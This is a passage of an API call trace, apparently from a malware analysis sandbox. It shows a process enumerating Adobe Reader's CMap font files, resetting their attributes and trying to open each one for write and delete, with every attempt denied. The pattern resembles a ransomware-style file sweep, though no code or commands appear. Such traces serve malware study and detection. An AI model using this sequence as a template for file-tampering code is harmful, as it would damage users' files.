10.0\\Resource\\CMap" [0165.983] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.983] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" [0165.983] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2")) returned 0x20 [0165.983] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2", dwFileAttributes=0x20) returned 0 [0165.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.983] GetLastError () returned 0x5 [0165.983] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2", dwFileAttributes=0x20) returned 0 [0165.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.984] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1 [0165.984] wcscmp (_String1="Adobe-CNS1-3", _String2=".") returned 1 [0165.984] wcscmp (_String1="Adobe-CNS1-3", _String2="..") returned 1 [0165.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.984] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.984] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.984] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" [0165.985] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3")) returned 0x20 [0165.985] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3", dwFileAttributes=0x20) returned 0 [0165.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.985] GetLastError () returned 0x5 [0165.985] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3", dwFileAttributes=0x20) returned 0 [0165.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.985] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1 [0165.986] wcscmp (_String1="Adobe-CNS1-4", _String2=".") returned 1 [0165.986] wcscmp (_String1="Adobe-CNS1-4", _String2="..") returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.986] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.986] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.986] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" [0165.986] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4")) returned 0x20 [0165.986] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4", dwFileAttributes=0x20) returned 0 [0165.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.987] GetLastError () returned 0x5 [0165.987] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4", dwFileAttributes=0x20) returned 0 [0165.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.987] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1 [0165.987] wcscmp (_String1="Adobe-CNS1-5", _String2=".") returned 1 [0165.987] wcscmp (_String1="Adobe-CNS1-5", _String2="..") returned 1 [0165.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.987] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.988] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.988] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" [0165.988] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5")) returned 0x20 [0165.988] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5", dwFileAttributes=0x20) returned 0 [0165.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.988] GetLastError () returned 0x5 [0165.988] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5", dwFileAttributes=0x20) returned 0 [0165.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.989] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1 [0165.989] wcscmp (_String1="Adobe-CNS1-B5pc", _String2=".") returned 1 [0165.989] wcscmp (_String1="Adobe-CNS1-B5pc", _String2="..") returned 1 [0165.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30ef0 [0165.989] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.989] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.989] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-B5pc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" [0165.990] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc")) returned 0x20 [0165.991] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc", dwFileAttributes=0x20) returned 0 [0165.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.991] GetLastError () returned 0x5 [0165.991] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc", dwFileAttributes=0x20) returned 0 [0165.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.992] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="ADOBE-~2")) returned 1 [0165.992] wcscmp (_String1="Adobe-CNS1-ETen-B5", _String2=".") returned 1 [0165.992] wcscmp (_String1="Adobe-CNS1-ETen-B5", _String2="..") returned 1 [0165.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c30ef0 [0165.992] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.992] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.992] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-ETen-B5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" [0165.992] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5")) returned 0x20 [0165.992] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5", dwFileAttributes=0x20) returned 0 [0165.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.993] GetLastError () returned 0x5 [0165.993] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5", dwFileAttributes=0x20) returned 0 [0165.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.993] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="ADOBE-~3")) returned 1 [0165.993] wcscmp (_String1="Adobe-CNS1-H-CID", _String2=".") returned 1 [0165.993] wcscmp (_String1="Adobe-CNS1-H-CID", _String2="..") returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30ef0 [0165.994] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.994] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.994] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" [0165.994] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid")) returned 0x20 [0165.994] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID", dwFileAttributes=0x20) returned 0 [0165.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.995] GetLastError () returned 0x5 [0165.995] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID", dwFileAttributes=0x20) returned 0 [0165.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.995] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="ADOBE-~4")) returned 1 [0165.995] wcscmp (_String1="Adobe-CNS1-H-Host", _String2=".") returned 1 [0165.995] wcscmp (_String1="Adobe-CNS1-H-Host", _String2="..") returned 1 [0165.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c30ef0 [0165.995] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.996] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.996] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" [0165.996] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host")) returned 0x20 [0165.996] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host", dwFileAttributes=0x20) returned 0 [0165.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.996] GetLastError () returned 0x5 [0165.996] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host", dwFileAttributes=0x20) returned 0 [0165.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.997] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="AD9A15~1")) returned 1 [0165.997] wcscmp (_String1="Adobe-CNS1-H-Mac", _String2=".") returned 1 [0165.997] wcscmp (_String1="Adobe-CNS1-H-Mac", _String2="..") returned 1 [0165.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30ef0 [0165.997] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.997] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.998] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" [0165.998] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac")) returned 0x20 [0165.999] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac", dwFileAttributes=0x20) returned 0 [0165.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.999] GetLastError () returned 0x5 [0165.999] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac", dwFileAttributes=0x20) returned 0 [0166.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.000] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="ADD444~1")) returned 1 [0166.000] wcscmp (_String1="Adobe-CNS1-UCS2", _String2=".") returned 1 [0166.000] wcscmp (_String1="Adobe-CNS1-UCS2", _String2="..") returned 1 [0166.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30ef0 [0166.000] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.000] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.000] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-CNS1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" [0166.001] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2")) returned 0x20 [0166.001] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2", dwFileAttributes=0x20) returned 0 [0166.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.001] GetLastError () returned 0x5 [0166.001] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2", dwFileAttributes=0x20) returned 0 [0166.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.002] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 